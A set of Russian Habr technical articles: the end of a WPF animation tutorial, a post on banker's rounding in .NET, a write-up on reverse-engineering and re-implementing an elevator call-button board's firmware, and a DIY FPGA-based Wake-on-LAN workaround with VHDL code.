num = "Images/" + k.ToString() + ".gif";
BitmapImage image = new BitmapImage();
image.BeginInit();
image.UriSource = new Uri(num, UriKind.Relative);
image.EndInit();
ImageBehavior.SetAnimatedSource(img, image); //смена анимации, img – name в Image, image – новая гифка
}
private void Change(object sender, RoutedEventArgs e)
{
k = (k + 1) % n;
BitmapImage image = new BitmapImage();
image.BeginInit();
if (k%2==0) image.UriSource = new Uri("Images/a.gif", UriKind.Relative);
else image.UriSource = new Uri("Images/b.gif", UriKind.Relative);
image.EndInit();
ImageBehavior.SetAnimatedSource(img, image);
}
```
*object sender* в данном случае кнопка. *a.gif* и *b.gif* – анимации чихания(вправо и влево), а *0.gif* – *10.gif* – эмоций. При каждом нажатии *k* увеличивается, пока не становится больше 10. Если *k* чётное – чих в одну сторону, если нечётное – в другую. После окончания анимации чихания выполняется функция *Complete*, меняющая эмоцию персонажа.
Результат
---------
Источники
---------
[WPF](http://docs.microsoft.com/ru-ru/dotnet/framework/wpf/)
[WpfAnimatedGif](http://github.com/XamlAnimatedGif/WpfAnimatedGif)
[Спрайты](http://ace-attorney.fandom.com/ru/wiki/%D0%A4%D0%B5%D0%BD%D0%B8%D0%BA%D1%81_%D0%A0%D0%B0%D0%B9%D1%82_-_%D0%93%D0%B0%D0%BB%D0%B5%D1%80%D0%B5%D1%8F_%D1%81%D0%BF%D1%80%D0%B0%D0%B9%D1%82%D0%BE%D0%B2#College%20student%20(T&T)) | https://habr.com/ru/post/512448/ | null | ru | null |
# Округление к целому в .NET
Всем [бородатое](http://bit.ly/2xInDEJ) ку, товарищи!
Все мы знаем, что такое округление. Если кто-то забыл, то округление — это замена числа на его приближённое значение, записанное с меньшим количеством значащих цифр. Если спросить человека с ходу, что получится при округлении 6,5 до целых, он не задумываясь ответит «7». Нас со школы учили, что числа округляются до ближайшего целого большего по модулю числа. То есть, если в округляемом числе дробная часть равна или больше половине разряда целой части, то мы округляем исходное число до ближайшего большего.
Проще говоря:
```
6,4 = 6
6,5 = 7
6,6 = 7
```
и т.д.
И вот, выходя из школы и становясь программистами мы зачастую ожидаем того же поведения от наших мощных языков программирования. Совсем забывая, что в школе нас учили «математическому округлению», а на самом деле видов этих округлений намного больше. На одной только википедии [можно нарыть](https://ru.wikipedia.org/wiki/%D0%9E%D0%BA%D1%80%D1%83%D0%B3%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5) вот сколько вариантов округления 0,5 к ближайшему целому числу:
* Математическое округление
* Случайное округление
* Чередующееся округление
* Банковское округление
Первый тип, «математическое округление», все мы усвоили со школы. О втором и третьем типе можете почитать на досуге, мне они сегодня в этой заметке не интересны.
А вот «банковское округление» — это уже интересненько. «Почему?» — спросите вы. В дотнете мы часто используем класс **Convert**, который предоставляет уйму методов для конвертации одного типа данных в другие (не путать с приведением, о нем будет ниже). И вот, оказывается, что при конвертации чисел с плавающей запятой (*double, float, decimal*) в целочисленный тип **int** через метод **Convert.ToInt32** под капотом работает «банковское» округление. Оно тут используется по умолчанию!
И вроде как незнание этой мелочи сильно не сказывается на вашей работе, но как только вам приходится работать со статистикой и расчетами показателей, базирующихся на куче всяких записей и циферок эта штука вылазит боком. Потому что мы ожидаем (от незнания), что все наши конвертации\округления в расчетах будут работать по правилам «математического» округления. И смотрим как баран на новые ворота на результат округления **6,5**, который равен **6**.
Первая мысль программиста, который это видит — «Возможно округление работает в обратную сторону, и по правилам округляется до наименьшего числа?», «Может я что-то забыл из школьной математики?». Дальше он идет в google и понимает что, ничего не забыли, и что творится какая-то чернь. На этом шаге ленивый разработчик решит, что это стандартное поведение метода **Convert.ToInt32**, округлять до наименьшего целого, и забьет на дальнейший поиск. И будет думать, что если *Convert.ToInt32(6,5)* = **6**, то по аналогии *Convert.ToInt32(7,5)* = **7**. Но не тут-то было. Таких разработчиков в дальнейшем судьба бьет по голове пачкой багов от отдела QA.
Дело в том, что «банковское» округление работает чуть хитрее — оно округляет число до ближайшего четного целого числа, а не до ближайшего целого по модулю. Этот тип округления якобы более честный в случае применения в банковских операциях — банки не будут обделять ни себя ни клиентов, из расчета, что операций с четной целой частью, сколько же, сколько и операций с нечетной целой частью. Но как по мне — всё равно мутновато :) Так вот, именно поэтому *Convert.ToInt32(6,5)* даст результат **6**, а результат для *Convert.ToInt32(7,5)* будет равен **8**, а не 7 :)
Что же делать, что бы получить всем привычное «математическое» округления? У методов класса *Convert* нет дополнительных настроек округления. Оно и верно, ибо класс этот служит в первую очередь не для округления, а для конвертации типов. На помощь нам приходит замечательный класс **Math** с его методом **Round**. Но тут тоже будьте аккуратны, ибо по умолчанию этот метод работает так же как и округление в *Convert.ToInt32()* — по «банковскому» правилу. Однако, это поведение можно изменять с помощью второго аргумента, входящего в метод *Round*. Так, *Math.Round(someNumber, **MidpointRounding.ToEven**)* даст нам дефолтовое «банковское» округление. А вот *Math.Round(someNumber, **MidpointRounding.AwayFromZero**)* будет работать по привычным правилам «математического» округления.
И кстати, *Convert.ToInt32()* не использует под капотом *System.Math.Round()*. Специально нарыл на github [реализацию](https://github.com/microsoft/referencesource/blob/master/mscorlib/system/convert.cs) этого метода — округление считается по остаткам:
```
public static int ToInt32(double value) {
if (value >= 0) {
if (value < 2147483647.5) {
int result = (int)value;
double dif = value - result;
if (dif > 0.5 || dif == 0.5 && (result & 1) != 0) result++;
return result;
}
}
else {
if (value >= -2147483648.5) {
int result = (int)value;
double dif = value - result;
if (dif < -0.5 || dif == -0.5 && (result & 1) != 0) result--;
return result;
}
}
throw new OverflowException(Environment.GetResourceString("Overflow_Int32"));
}
```
И напоследок пару слов о **приведении типов**:
```
var number = 6.9;
var intNumber = (int)number;
```
В этом примере я привожу тип с плавающей запятой (*double* в данном случае) к целочисленному **int**. Так вот, при приведении типов к целочисленному вся не целая часть **просто отсекается**. Соответственно, в данном примере в переменной "*intNumber*" будет лежать число **6**. Никаких правил округления тут нет, просто отсечение всего, что идет после запятой. Помните об этом!
Ссылки по теме:
* [Про округление на wikipedia](https://ru.wikipedia.org/wiki/%D0%9E%D0%BA%D1%80%D1%83%D0%B3%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5)
* [Про проблему конвертации](https://stackoverflow.com/questions/11431793/why-does-convert-toint32-round-to-the-nearest-even-number-instead-of-nearest)
* [Про округление Math.Round](https://docs.microsoft.com/en-us/dotnet/api/system.math.round?redirectedfrom=MSDN&view=netframework-4.8#System_Math_Round_System_Decimal_System_MidpointRounding_)
* [Реализация Convert.ToInt32](https://github.com/microsoft/referencesource/blob/master/mscorlib/system/convert.cs)
**P.S.** Спасибо Максиму Якушкину за то, что обратил внимание на этот неявный момент.
**P.P.S.** Кстати, в **python** округление по дефолту работает так же по «банковскому» принципу. Возможно, в вашем языке такая же штука, будьте бдительны с числами :) | https://habr.com/ru/post/462299/ | null | ru | null |
# Промышленный реверс-инжиниринг
Рассказ о процессе заимствования при разработке электроники на наглядном примере.
*Запись лога работы лифта самодельным сниффером*
Однажды мне понадобилось скопировать довольно простое устройство. Компания-производитель перестала существовать, но по всей стране ещё был спрос на замену сломанных или отработавших свой ресурс девайсов.
Само устройство — кнопка вызова лифта на фото слева. Для опытов мне дали два экземпляра, один из которых можно было полностью разобрать.
Общий план работы выглядел примерно так:
1. Изучение схемы подключения платы;
2. Изучение элементной базы самой платы;
3. Срисовывание её электрической схемы;
4. Попытка считывания файла прошивки из микроконтроллера;
5. Дизассемблирование прошивки;
6. Извлечение алгоритма работы;
7. Разработка новой платы;
8. Написание новой прошивки.
При неудаче пункта 4, дальнейший план выглядел бы сложнее, но мне повезло.
### Изучаем подопытного
*Основной микроконтроллер*
*Кусок электросхемы лифта, на которой наши платы обведены красным*
Плата собрана на микроконтроллере 1997 года выпуска [AT89C2051](https://ww1.microchip.com/downloads/en/DeviceDoc/doc0368.pdf), в основе которого лежит архитектура [Intel MCS-51](https://en.wikipedia.org/wiki/Intel_MCS-51). В 2020 году она празднует свой 40-летний юбилей на рынке встраиваемых систем.
> Небольшое пояснение: микроконтроллер — это такая микросхема, содержащая вычислительное ядро и набор периферии для управления внешними устройствами. Например, в современной стиральной машине микроконтроллер опрашивает кнопки управления, датчики, выводит информацию на экран и управляет насосами, нагревателем, клапанами и приводом барабана. Для большинства перечисленных функций ему не требуются промежуточные устройства, только набор пассивных электронных компонентов.
*Разбираем плату для срисовывания электросхемы*
Срисовывание оригинальной электросхемы платы в будущем поможет узнать назначение пинов микроконтроллера, которое необходимо для разбора кода прошивки.
Оригинальное устройство разработано китайской компанией, а потому его схема крайне запутана и со множеством лишних компонентов. Например, включение реле производилось через тройной каскад из биполярного транзистора, оптопары и полевика (именно в таком порядке).
Знакомый, работающий с китайскими производствами, рассказал мне, что китайцы занимаются подобным усложнением схем для увеличения стоимости разработки и производства, если то и другое делают одни люди. После такого я склонен ему верить:
*Одно и то же место на китайской двухслойной плате с обеих сторон. Три огромных резистора ни к чему не подключены. Я даже просвечивал плату мощным фонариком, чтобы убедиться.*
Схема срисована, загадочные места смоделированы в [мультисиме](https://www.ni.com/ru-ru/shop/electronic-test-instrumentation/application-software-for-electronic-test-and-instrumentation-category/what-is-multisim.html), берёмся за прошивку.
### Пытаемся считать прошивку
Мне очень повезло, что на обоих платах в контроллерах не включена защита от чтения, поэтому я успешно слил два варианта прошивки подобной порнографией:
*Фото из [личного блога](http://ceptimus.co.uk/?p=216) американского энтузиаста*
### Дизассемблирование прошивки
Следующим этапом нам нужно преобразовать этот машинный код во что-то более читаемое:
Берём известный инструмент [IDA Pro](http://www.idasoft.ru/idapro/), в котором уже есть наш контроллер со всеми регистрами периферии, и открываем HEX файл прошивки:
*Обработка принимаемых платой данных на языке ассемблера*
После этого идёт довольно нудный процесс изучения [набора команд](http://www.keil.com/dd/docs/datashts/atmel/at_c51ism.pdf) нашего вычислительного ядра, комментирование и расшифровка ассемблерного кода.
По адресам таблицы векторов прерываний нашлись сами обработчики прерываний, записи в регистры периферии дали информацию о конфигурации интерфейса связи. Шаг за шагом безымянный ассемблерный код превратился в то, что можно читать.
### Извлечение алгоритма работы
Так как мне нужно было разработать новое устройство на другой элементной базе, из кода необходимо было извлечь алгоритм. Некоторое время спустя родился такой псевдокод:
```
void UartISR (void) {
counter500ms = 0;
//ClearFlag(isrFlags, ISR_FLAG_3);
ProcessUart(recievedByte);
}
void ProcessUart(uint8_t recievedData) {
static uint8_t uartPacketsToRxLeft, uartRecievedCmd, uartCurrPacketCRC;
static uint8_t i, carryFlag;
static uint16_t uartIsrPointer;
static uint8_t uartBuffer1[8], uartBuffer2[6];
static uint8_t uartBuffer1Pos, uartBuffer2Pos;
// 0 -
// 1 -
// 2 -
// 3 - led state, 0x0F
// 4 -
// 5 -
// 6 -
// 7 -
// 8 - buttons time
static uint8_t dataRegisters[9]; // RAM:0050
uint8_t tmpVal, i;
uint8_t dataToSend;
if (GetFlag(UartISRFlags, UART_RECIEVED_FLAG)) {
ClearFlag(UartISRFlags, UART_RECIEVED_FLAG);
if (recieved9thBit) {
switch (recievedData) {
case 0xC1:
uartPacketsToRxLeft = 8;
uartRecievedCmd = 1;
uartBuffer1Pos = 0;
uartBuffer1[uartBuffer1Pos] = recievedData;
//uartIsrPointer = 0x0037;
//tmpVal_0037 = recievedData;
uartCurrPacketCRC = recievedData;
UartRxOn();
return;
break;
case 0xC2:
uartPacketsToRxLeft = 3;
uartRecievedCmd = 2;
```
Та же самая обработка принимаемых данных на языке Си
Кому интересен протокол передачи:
> Станция управления лифтом общалась с платами кнопок вызовов по полнодуплексному 24-вольтовому интерфейсу. В обычном режиме платы кнопок слушали линию, ожидая 9-битный пакет данных. Если в этом пакете приходил адрес нашей платы (задавался DIP-переключателем на плате), то плата переключалась на 8-битный режим приёма, и все последующие пакеты аппаратно игнорировались остальными платами.
>
>
>
> Первым после адреса шёл пакет с кодом команды управления. Конкретно эта плата принимала всего 3 команды:
>
> 1. Запись в регистры данных. Например частота и длительность мигания кнопки при вызове;
> 2. Включение подсветки кнопок;
> 3. Запрос состояния кнопок (нажаты или нет).
>
>
>
>
>
> Последним байтом шла контрольная сумма, которая представляет собой простой XOR всех байт после адреса.
>
> После контрольной суммы плата опять переходила в режим ожидания своего адреса.
### Разработка новой платы
Для этапа разработки новой электросхемы и печатной платы у меня нет картинок, но всё было примерно так:
Составление электросхемы и разводка платы делались в [Altium Designer](https://www.altium.com/altium-designer/ru). Изготовление печатной платы заказывалось в зеленоградском «[Резоните](http://rezonit.ru/)».
### Написание новой прошивки
Пока наша новая плата на изготовлении, едем на объект, где установлены такие кнопки вызова, и проверяем правильность разобранного протокола передачи с помощью собранного на ардуине сниффера:
Кусок схемы передатчика, электрически эквивалентный оригиналу. На приёмнике просто оптопара.
```
//UART1 initialize
// desired baud rate:19200
// actual baud rate:19231 (0,2%)
// char size: 9 bit
// parity: Disabled
void uart1_init(void)
{
UCSR1B = 0x00; //disable while setting baud rate
UCSR1A = 0x00;
UCSR1C = 0x06;
UBRR1L = 0x33; //set baud rate lo
UBRR1H = 0x00; //set baud rate hi
UCSR1B = 0x94;
}
#pragma interrupt_handler uart1_rx_isr:iv_USART1_RXC
void uart1_rx_isr(void) {
unsigned char tmp;
unsigned int rcv = 0;
if (UCSR1B & 0x02) {
rcv = 0x100;
}
rcv |= UDR1;
tmp = (rcv >> 4) & 0x0F;
if (rcv & 0x100) {
tmp |= 0xC0;
}
else {
tmp |= 0x80;
}
txBuf12 = (rcv & 0x0F);
txBuf11 = tmp;
txState1 = 0;
TX_ON();
msCounter0 = 5000;
}
```
Говнокодим в ICC AVR наш сниффер
Дальше нужно было действовать крайне аккуратно, чтобы не спалить ничего в лифте и не допустить его остановки.
Лезем в кнопку вызова. Толстые жёлтые провода — питание платы и интерфейс передачи. Белые на 4-пиновом разъёме — подключение кнопки и её подсветки.
Проверяем, что всё работает как надо, исправляем косяки и пишем новую прошивку под наше устройство:
```
//ICC-AVR application builder : 11.02.2015 12:25:51
// Target : M328p
// Crystal: 16.000Mhz
#include
#include
#include
#include "types.h"
#include "gpio.h"
#define TX\_OFF() UCSR0B &= 0b11011111;
#define TX\_ON() UCSR0B |= 0b00100000;
#define TX\_STATE() (UCSR0B & 0b00100000)
#define MAX\_TIMEOUT 3000
//#define SNIFFER\_MODE 1
//#define MASTER\_MODE 1
// #pragma avr\_fuse (fuses0, fuses1, fuses2, fuses3, fuses4, fuses5)
#pragma avr\_fuse (0xFF, 0xD1, 0xFC)
#pragma avr\_lockbits (0xFC)
// AVR signature is always three bytes. Signature0 is always the Atmel
// manufacturer code of 0x1E. The other two bytes are device dependent.
#pragma avr\_signature (0x1E, 0x95, 0x0F) // atmega32
static GPIOx errorLed, rcvLed, butUp, butDn, ledUp, ledDn, butLedUp, butLedDn, ledButUp, ledButDn;
static uint8\_t msFlag = 0;
static uint8\_t ledState = 0, buttonsState = 0;
static uint16\_t rcvLedLitTime = 0, butMaskCalcTime = 0, timeoutTimer = 0;
typedef struct {
uint16\_t buffer[10];
uint8\_t dataLength;
} UartPacket;
static UartPacket txPacket, rxPacket;
#ifdef SNIFFER\_MODE
static uint8\_t txBuffer[64], txBufferLength = 0, bufferMutex = 0;
#endif
static uint8\_t GetPacketCRC(UartPacket\* packet);
static void SendLedState(void);
uint8\_t GetAddress(void) {
return (PINC & 0x3F);
}
```
Код на Си для новой платы на основе микроконтроллера AVR [ATmega328P](http://ww1.microchip.com/downloads/en/DeviceDoc/Atmel-7810-Automotive-Microcontrollers-ATmega328P_Datasheet.pdf)
Простоту устройства и прошивки можно оценить по объёму кода, он содержит всего лишь около 600 строк на языке Си.
Процесс сборки выглядел так:
Плата другая, но принцип тот же
Фотографию готового устройства приложить не могу, просто поверьте, что оно до сих пор производится и продаётся.
### Лирическое заключение
По поводу кнопок лифта «вверх» и «вниз» на этаже. Я заметил, что многие люди совершенно не понимают их назначение и жмут обе сразу.
[Отсюда](https://www.videoblocks.com/video/man-pressing-elevator-button-to-go-up-and-to-go-down-eqfinkfkxik5c29t3)
У лифта есть два набора кнопок: в кабине — панель приказов, и на этаже — панель вызова. Уже по названию можно догадаться, что панель приказов имеет более высокий приоритет управления.
Все лифты, имеющие панели вызовов с кнопками «вверх» и «вниз», работают с каким-то из вариантов алгоритма оптимизации поездок, целью которых является перевозка максимального числа пассажиров за минимальное время и отдельное условие максимального времени ожидания на этаже (регулируется госстандартом).
Такой алгоритм обычно предполагает подбор пассажиров на этажах, если они едут в том же направлении, которое указывают нажатием кнопки вызова «вверх» или «вниз».
Представим ситуацию, что лифт с пассажирами едет вниз и по пути получает с этажа ниже вызов «вниз». Лифт остановится для подбора пассажира (да, есть ещё учёт загрузки кабины по весовому датчику, но его мы опустим).
Лифт едет дальше и получает с этажа ниже вызов «вверх». Логично, что лифт не остановится для подбора пассажира, так как не будет менять направление движения (это тоже регулируется стандартом), а подбирать пассажира, чтобы поехать вниз, а затем вверх — бесполезный расход энергии и места в лифте.
Лифт едет дальше и получает с этажа ниже сразу два вызова «вверх и «вниз», которые нажал какой-то нетерпеливый пассажир, которому нужно ехать вверх. Логично, что лифт остановится на этом этаже, но пассажир в него не войдёт, зато потратит время людей в кабине на замедление и остановку лифта, открытие дверей, ожидание, закрытие дверей и разгон до номинальной скорости.
Если у лифта только одна кнопка на этаже, то в 99% случаев он работает по алгоритму «собирательный вниз», и при наличии приказов в кабине останавливается только при движении вниз.
Если у вас есть навыки программирования на JS, то можете попробовать реализовать подобный алгоритм управления в онлайновой игре [Elevator Saga](https://play.elevatorsaga.com/). В ней есть все аспекты оптимизации поездок без углубления в хардкор вроде работы цепей безопасности лифта.
В своём [телеграм-канале](https://t.me/govnokoder) я выкладываю подобные материалы. Прямо сейчас там можно следить за разработкой очередного устройства. | https://habr.com/ru/post/459492/ | null | ru | null |
# Еще раз про WOL
Нужно включать комп по сети. А Wake-on-LAN не работает.
Предлагаемый метод универсален, но нестандартен и подразумевает наличие творческого оптимизма «во что бы то ни стало».
Когда-то у меня был FTP-сервер. По факту это был обычный комп образца 2004 года. Вот [тут](http://habrahabr.ru/post/126944/) в п.7 я писал что есть такое WOL и тонкость в настройке ARP таблицы маршрутизатора, что бы оный не забывал по какому порту у него висит этот комп (после того как питание компа выключится). И так уж получилось, что проблем у меня со всем этим делом не было — в BIOS была включена соответствующая опция и сервер бодро включался в любое время дня и ночи в независимости отключали от него когда-то питание или нет.
Но все хорошее всегда имеет свойство заканчиваться: или ты к нему привыкаешь, или оно пропадает. Комп у меня отобрали…
Однако недавно опять возникла потребность в своем FTP. А так как в перспективе еще хочется на него кое-что повесить, то я решил собрать под эти цели новый относительно производительный комп. И вот, платформа «ASUS P8H77-M + Intel® Core™ i3-2105 + 2 х 4Gb Corsair Vengeance CMZ4GX3M1A1600C9B» в корпусе «Thermaltake VK72721N2E SD200» появилась у меня дома. После диких восторгов домочадцев по стильному виду корпуса комп был засунут под телевизор вместо уволенного комбайна VHS+DVD, который там бессменно находился с 2004 года. В порядке эксперимента я решил усложнить себе жизнь и поставил на этот сервер винду, а в винде устроилась VMWare со своими тремя виртуальными компами. Одним из виртуальных компов и стал новый FTP-сервер. После проброса портов на роутере и в виртуальной сетевой среде VMWare FTP-сервер стал отзываться и исправно работать.
Тут я, конечно же, вспомнил про WOL, поправил проброс портов на роутере, скачал под андроид программку «Wake On LAN» (раньше я пользовался сервисом wakeonlan.ru). Помните про все хорошее? И вот, в один прекрасный день я не смог удаленно включить этот комп. 130Гб я унести с собой не мог ну никак и поэтому был крайне опечален. Нехорошими словами досталось проектантам реализации WOL в целом и инженерам фирмы ASUS в частности. Я извиняюсь, если в тот день кто-то сильно икал, но я был реально опечален. После разбора полетов, оказалось, что эта материнка должна хоть раз включиться, что бы потом будиться по WOL. А если меня дома нет, а ~~свет~~ электричество отключали (свет обещали к концу декабря 2012 отключить)? То есть, удаленно я комп включить никак не смогу. В BIOS есть функция восстановление питания, т.е. если комп был включен когда произошел сбой питания, то после появления питания комп сам запустится. А если он был выключен? Да, в обозримой перспективе другая виртуалка будет под торрентом и комп будет работать круглосуточно, но все это какой-то форменный непорядок.
Данным вопросом я интересовался в интернетах и у знающих людей. Знающие люди обычно работают с более серьезным сетевым оборудованием и как выворачиваться в этой ситуации сказать толком не могут. Мало того! Многие говорили мне, что это нормально, т.е. компу надо знать на какое устройство подавать питание для ожидания команды на включение. И достаточно многие меня уверяли, что комп будет пробуждаться нормально, только если его включать через «Пуск» (???). Что говорили в интернете пересказывать не буду, но меставми я откровенно веселился.
Встал вопрос: что делать?
Идей была куча. От идеи выдвигающегося сидирома какого-нибудь «нормально-пробуждающегося» древнего компа до идеи вывести сигнал WOL сетевого чипа через какую-то логику на разъем кнопки питания компа. Проблема работы на уровне элементной базы в том, что дома отсутствует осциллограф (С1-112А не считается). Но потом я поумерил аппетиты и решил сделать решение независимое от компьютерного железа. В закромах была найдена сетевая карта D-Link DGE-528T. На ней размещается замечательный белый разъемчик WOL. Если посмотреть распиновку, то разъем содержит три сигнала: +5VSB, GND, Ring. На многих старых материнка тоже существовал такой же разъем, сейчас от этой тенденции уходят. Очевидно, питание к сетевой карте подводится автономно. Сам комп включатлся или при нажатии кнопки питания или после поступления сигнала Ring. На ASUS P8H77-M такого разъема нет!
И тут очень кстати пришлась освободившаяся плата [Марсоход](http://marsohod.org/) с ПЛИС на борту. Я решил сделать пожизненное универсальное решение для любого компьютера (этот тоже могут отобрать):
1) вставляем любую сетевую карту с разъемом WOL на борту в комп;
2) в комп куда-нибудь прикручиваем плату с ПЛИСом;
3) к плате ПЛИС подключаем интерфейсную плату для WOL;
4) изготовленными спецкабелями соединяем разъемы WOL на сетевой карте и интерфейсной плате, подключаем к интерфейсной плате кнопку питания и разъемчик PWR\_BUT материнской платы, а так же заводим на эту плату питание +5VSB.
Таким образом очерчиваем круг поставленных задач:
1) для ПЛИСа нужна прошивка, которая бы опрашивала сигналы с кнопки питания на компе и сигнал Ring с сетевой карты и в случае их обнаружения выдавала бы сигнал на разъем PWR\_BUT материнской платы;
2) интерфейсная плата должна осуществлять питание платы с ПЛИС (ставим стабилизатор на +3,3В), а так же неплохо было бы иметь развязку для WOL и PWR\_BUT на всякий случай (ставим парочку оптронов);
3) нужно изготовить кабели: 3хпроводной для WOL (причем разъем со стороны ПЛИС с шагом 2,54, а со стороны сетевой карты 2мм), 2хпроводной для подключения PWR\_BUT (2 разъема с шагом 2,54), 2хпроводной для питания (1 разъем с шагом 2,54, а другой конец присобачить как-то к разъему питания материнской платы — к проводам GND и +5VSB).
Засучили рукова.
Прошивку я написал за полчаса. Прошивка банальна: опрашивать два порта и выводить, например, полусекундный импульс на третий порт. Я учел дребезг кнопки питания, детектировал только фронт сигнала Ring, сделал точный генератор времени с диапазонам до суток и прочие мелочи — развлекался как мог) Прошивка получилась в результате гораздо тяжелее самого первого варианта, но все же половина ПЛИСа еще осталось свободной. Много места пожрал универсальный генератор времени, который подключался к проекту как модуль.
Кабели я сделал тоже за полчаса. Но у меня все было под рукой — повезло с разъемами.
С интерфейсной платой я страдал весь следующий вечер. Саму плату я выпилил из куска двухсторонней макетной печатной платы. Плата одевается на плату Марсохода «мостиком» на разъемы «Rigth Motor» и «Left Motor». «Rigth Motor» был отдан под WOL, а второй разъем я пробросил на интерфейсную плату — как это ни парадоксально, но отсутствие женщины в личной жизни способствует не менее интересному времяпрепровождению и неизвестно что еще захочется прикрутить к этой плате. Так как паять проводками мне было лень, а припоя у меня много, то я просто «выращивал» нужные дорожки. Получилось неказисто и, в принципе, делать так не советую. DC-DC стабилизатор дома тоже нашелся, а вот оптронов не было. Вместо них запаял колодки и на неделю все было заброшено. Через две недели я поставил оптроны и решил проверить как это все будет работать.
Самое сложное было разделать разъем питания ATX. В интернете есть куча советов как подпихнуть скрепку от степлера (ну нет у меня экстрактора) в разъем, что бы отогнуть фиксаторы. Я даже видео смотрел на каком-то сайте. Но у меня никак контакт не хотел вылазить из разъема. Призывая на помощь всем известные слова я провел почти два часа сломав иголку и перепортив несколько скрепок. Но зато получилось цивилизованно)
Решение работоспособно и позволяет включать/отключать комп с кнопки питания на корпусе и включать комп по сети путем подачи команды WOL. К сожалению, выкючать комп по сети не получается — после включения питания сетевая карта перестает выдавать сигнал Ring. Кроме того, имеется задел для дальнейшего творчества! Например, можно переделать прошивку ПЛИС так, что бы после получения в течение 20 секунд восьми команд WOL подавалось бы питание на USB контроллер. Вставленная флешка в USB контроллер монтировалась бы автоматом в виртульную машину и по ФТП под спецлогином и спецпаролем становилась бы доступна папочка, содержащая, например, документ с паролем на хабре)
Осталось аккуратно закрепить полученноу устройство в системном блоке и поставить оный на дежурство. Что и будет сделано, когда приедет заказанная плата. А нынешняя вернется обратно для контроля автосигнализации машины — когда купаешься удобно запереть все вещи в машине и поставить таймер на открытие через заданное время)))
Цена вопроса:
— сетевая карта D-Link DGE-528T = 300р.
— плата Марсоход + программатор к ней (если нужен) + доставка по почте россии = 1000р. + 600р. + 150р.
Ниже привожу текст прошивки для ПЛИС и, схематично, интерфейсную плату. Для новичков в VHDL, думаю, текст будет полезен. Генератор времени написать нетрудно — сосчитали счетчиком до CLOCK — вот вам и секунда. При припиновке не забываем для портов F0 и F1 установить «Sсhmitt Trigger Input» и включить pull-up резистор. На интерфейсной плате резисторами эти входы тоже подтянуты, но для других целей — защита от статики.
```
----------------------------------------------------------------------------------------------------------
-- Company: House
-- Engineer: AlexanderS
--
-- Create Date: 13/06/2012
-- Modification Date: --/--/----
-- Module Name: manag_pc
-- Project Name: -
-- Version: v.1.1
-- Description: обработка сигналов с кнопки PWR ПК, команды WOL с сетевой карты
-- и выдача сигнала вкл/откл на PWR SW на матплате ПК
----------------------------------------------------------------------------------------------------------
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
use IEEE.STD_LOGIC_ARITH.ALL;
use IEEE.STD_LOGIC_UNSIGNED.ALL;
--use IEEE.STD_LOGIC_SIGNED.ALL;
use IEEE.NUMERIC_STD.ALL;
--use IEEE.MATH_REAL.ALL;
--library UNISIM;
--use UNISIM.VComponents.ALL;
entity project is
GENERIC (
---------- установка параметров ----------
CLOCK : integer := 100000000 -- частота тактирования модуля, [Гц; кратно 1000]
);
Port (
---------- интерфейс ----------
led: out std_logic_vector(7 downto 0) :=(others=>'0');
f0: in std_logic_vector(9 downto 0) :=(others=>'1');
f1: in std_logic_vector(9 downto 0) :=(others=>'1');
f2: out std_logic_vector(9 downto 0) :=(others=>'0');
---------- контроль и телеметрия ----------
CLK: in std_logic :='0' -- частота тактирования модуля (параметр CLOCK)
);
end project;
architecture Behavioral of project is
signal df : std_logic_vector(5 downto 0) :=(others=>'0');
signal sw_lock : std_logic :='0';
signal hl : std_logic_vector(7 downto 0) :=(others=>'0');
signal PWR_BUT1, WOL1, PWRB_on, WOL, lock : std_logic :='0';
signal PWR_BUT2, WOL2 : std_logic :='1';
signal st : integer range 3 downto 0 :=0;
signal sec0125, sec025, sec05, sec, sec2, min, hour, day, res_time : std_logic :='0';
signal time_s, time_m : std_logic_vector(5 downto 0) :=(others=>'0');
signal time_h : std_logic_vector(4 downto 0) :=(others=>'0');
COMPONENT gen_time is -- формирователь времени
GENERIC (
CLOCK : integer := 100000000
);
Port (
---------- интерфейс ----------
sec0125: out std_logic :='0';
sec025: out std_logic :='0';
sec05: out std_logic :='0';
sec2: out std_logic :='0';
sec: out std_logic :='0';
time_s : out std_logic_vector(5 downto 0) :=(others=>'0');
min: out std_logic :='0';
time_m : out std_logic_vector(5 downto 0) :=(others=>'0');
hour: out std_logic :='0';
time_h : out std_logic_vector(4 downto 0) :=(others=>'0');
day: out std_logic :='0';
---------- контроль и телеметрия ----------
RES: in std_logic :='0';
CLK: in std_logic :='0'
);
end COMPONENT;
begin
Inst_gen_time: gen_time -- формирователь времени
GENERIC MAP(
CLOCK => 100000000
)
Port MAP (
sec0125 => sec0125,
sec025 => sec025,
sec05 => sec05,
sec => sec,
sec2 => sec2,
time_s => time_s,
min => min,
time_m => time_m,
hour => hour,
time_h => time_h,
day => day,
RES => res_time,
CLK => CLK
);
res_time <= '0';
---- BEGIN блок ввода-вывода
Process(CLK) begin if (CLK'Event) and (CLK='1') then
if (sw_lock = '0') then
if (f0(0) = '0') or (f1(0) = '0') then sw_lock <= '1'; end if;
df(0) <= not f0(0); hl(6) <= f0(0);
df(1) <= not f1(0); hl(7) <= f1(0);
elsif (sec0125 = '1') then sw_lock <= '0'; end if;
end if;
if (df(2) = '1') then f2 <= (others=>'1'); else f2 <= (others=>'0'); end if;
led <= hl;
end if; end process;
----- END блок ввода-вывода
--- BEGIN
process(CLK) begin if (CLK'event and CLK = '1') then
PWR_BUT1 <= df(0); PWR_BUT2 <= not PWR_BUT1;
WOL1 <= df(1); WOL2 <= not WOL1;
if ((PWR_BUT1 = '1') and (PWR_BUT2 = '1')) then -- передний фронт сигнала нажатия кнопки
PWRB_on <= '1';
elsif ((PWR_BUT1 = '0') and (PWR_BUT2 = '0')) then -- задний фронт сигнала нажатия кнопки
PWRB_on <= '0';
elsif ((WOL1 = '1') and (WOL2 = '1')) then WOL <= '1'; else WOL <= '0'; end if; -- передний фронт сигнала WOL
if (PWRB_on = '1') and (lock = '0') then -- обработка нажатой кнопки
df(2) <= '1';
hl(0) <= not hl(0);
lock <= '1';
elsif (PWRB_on = '0') and (lock = '1') then -- обработка отжатой кнопки
df(2) <= '0';
lock <= '0';
else -- обработка команды WOL
case st is
when 0 => if (WOL = '1') then st <= st + 1; end if; -- рееагирования только если комп выключен
when 1 => df(2) <= '1'; if (sec025 = '1') then st <= st + 1; end if;
when 2 => if (sec025 = '1') then st <= st + 1; end if;
when 3 => hl(0) <= not hl(0); df(2) <= '0'; st <= 0;
when others => null;
end case;
end if;
end if; end process;
--- END
end Behavioral;
```
